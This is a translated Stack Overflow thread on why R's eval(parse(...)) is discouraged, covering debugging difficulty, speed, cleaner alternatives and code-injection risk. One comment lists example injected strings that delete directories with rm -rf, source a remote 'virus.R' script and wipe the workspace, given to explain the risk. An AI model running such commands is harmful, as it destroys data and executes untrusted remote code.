【问题标题】:What specifically are the dangers of eval(parse(...))?eval(parse(...)) 的具体危险是什么?
【发布时间】:2012-11-18 22:55:01
【问题描述】:

关于如何避免使用eval(parse(...))有几个问题

这引发了问题:

  • 为什么要特别避免eval(parse())
  • 最重要的是,有什么危险?
    • 如果代码不用于生产会有什么危险吗? (我在想,返回意外结果的任何危险。显然,如果您不小心解析的内容,就会遇到问题。但这比对get() 的马虎更危险吗?)

【问题讨论】:

  • 我不知道我是否有时间创建一个很好的例子/写一个正确的答案,但是我在这个方向上的头痛通常与eval()有关,而不是与@987654329有关@。 eval() 的问题在于,它试图遵循一些基本但通常难以理解的关于计算表达式的帧的规则,当您开始以比作者原本以为...obeautifulcode.com/R/How-R-Searches-And-Finds-Stuff
  • @BenBolker,这个问题似乎仍然出现在很多搜索结果中。如果您想详细说明上面的评论,我很想听听您的更多想法,因为我相信其他人也会这样做
  • @Ricardo Saporta,您似乎喜欢使用data.table。有趣的是,我遇到了一个post,其中解释说eval 在某些情况下可以比get 更快,data.table

标签: r parsing eval


【解决方案1】:

大多数反对eval(parse(...)) 的论点出现不是因为安全问题,毕竟,没有声称 R 是公开给 Internet 的安全接口,而是因为这样的代码是通常做的事情可以使用不那么晦涩的方法来完成,即更快且更易于人类解析的方法。 R 语言应该是高级语言,因此行家(我不认为自己属于该组)的偏好是看到既紧凑又富有表现力的代码。

所以危险在于eval(parse(..)) 是一种绕过知识匮乏的后门方法,而提高这一障碍的希望是人们将改进他们对 R 语言的使用。大门仍然敞开,但希望能够更有表现力地使用其他功能。 Carl Witthoft's question earlier today 说明不知道get 函数可用,question he linked to 暴露了对[[ 函数的行为方式缺乏了解(以及$[[ 更受限制)。在这两种情况下,都可以构建 eval(parse(..)) 解决方案,但它比替代方案更笨重且不太清晰。

【讨论】:

    【解决方案2】:

    只有当您开始对另一个用户传递给您的字符串调用 eval 时,才会真正出现安全问题。如果您正在创建一个在后台运行 R 的应用程序,这是一件大事,但是对于您正在编写自己运行的代码的数据分析,那么您不必担心eval 对安全性的影响.

    eval(parse( 的一些其他问题。

    首先,使用 eval-parse 的代码通常比未解析的代码更难调试,这是有问题的,因为调试软件一开始是twice as difficult 编写的。

    这是一个有错误的函数。

    std <- function()
    {
      mean(1to10)
    }
    

    我真傻,我忘记了冒号运算符并错误地创建了我的向量。如果我尝试获取这个函数,那么 R 会注意到问题并抛出错误,指出我的错误。

    这是 eval-parse 版本。

    ep <- function()
    {
      eval(parse(text = "mean(1to10)"))
    }
    

    来源,因为错误在有效字符串内。只是稍后,当我们运行代码时才会抛出错误。所以通过使用 eval-parse,我们失去了源时错误检查能力。

    我也认为这个函数的第二个版本更难阅读。

    eval-parse 的另一个问题是它比直接执行的代码慢得多。比较

    system.time(for(i in seq_len(1e4)) mean(1:10))
       user  system elapsed 
       0.08    0.00    0.07
    

    system.time(for(i in seq_len(1e4)) eval(parse(text = "mean(1:10)")))
       user  system elapsed 
       1.54    0.14    1.69
    

    【讨论】:

      【解决方案3】:

      通常有比使用代码字符串更好的“基于语言计算”的方法;以我的经验,evalparse 繁重的代码需要大量的安全措施来保证合理的输出。

      通常可以通过直接将 R 代码作为语言对象来解决相同的任务; Hadley Wickham 有一个有用的 R 元编程指南here

      gtools 库中的 defmacro() 函数是我最喜欢的 evalparse 构造替代品(不是半开玩笑的 R 双关语)

      require(gtools)
      
      # both action_to_take & predicate will be subbed with code
      
      F <- defmacro(predicate, action_to_take, expr = 
          if(predicate) action_to_take)
      
      F(1 != 1, action_to_take = print('arithmetic doesnt work!'))
      
      F(pi > 3, action_to_take = return('good!'))
      [1] 'good!'
      
      # the raw code for F
      print(F)
      
      function (predicate = stop("predicate not supplied"), action_to_take = stop("action_to_take not supplied")) 
      {
          tmp <- substitute(if (predicate) action_to_take)
          eval(tmp, parent.frame())
      }
      <environment: 0x05ad5d3c> 
      

      这种方法的好处是可以保证您得到语法上合法的 R 代码。更多关于这个有用的功能可以找到here

      希望有帮助!

      【讨论】:

        【解决方案4】:

        在某些编程语言中,eval() 是一个计算函数 一个字符串,就好像它是一个表达式并返回一个结果;在 其他的,它执行多行代码,就好像它们已经 包含而不是包含 eval 的行。 eval 的输入是 不一定是字符串;在支持句法的语言中 抽象(如 Lisp),eval 的输入将由抽象组成 句法形式。 http://en.wikipedia.org/wiki/Eval

        如果 eval 使用不当,可以利用各种漏洞。

        攻击者可以向程序提供字符串 "session.update(authenticated=True)" 作为数据,它将更新 会话字典将经过身份验证的密钥设置为 True。补救 这样,将与 eval 一起使用的所有数据都必须转义,否则 必须在不访问潜在有害功能的情况下运行。 http://en.wikipedia.org/wiki/Eval

        换句话说,eval() 的最大危险是代码注入到您的应用程序中的可能性。 eval() 的使用也可能导致某些语言的性能问题,具体取决于所使用的内容。

        特别是在 R 中,这可能是因为您可以使用 get() 代替 eval(parse()) 并且您的结果将是相同的,而无需求助于 eval()

        【讨论】:

        • 智能用户或黑客可以使用的字符串的具体示例:T &lt;- FALSE; F &lt;- TRUErm(list=ls())system("rm -rf your_directories")source("http://.../virus.R")
        • RAppArmor 包中有一个安全版本的eval (eval.secure) 在沙箱中执行,除非父进程拥有超级用户权限,否则无法行使超级用户权限。
        • @ORION,感谢您解决安全漏洞!并为@mplourde +1 eval.secure
        • 我不认为第一个引用的材料是正确的。这描述了我理解由parse() 执行的操作。 eval 的(有效)输入几乎从来都不是“字符串”。
        猜你喜欢
        • 2012-01-13
        • 2010-12-06
        • 2021-01-01
        • 2015-03-08
        • 2012-04-14
        • 1970-01-01
        • 2011-11-09
        相关资源
        最近更新 更多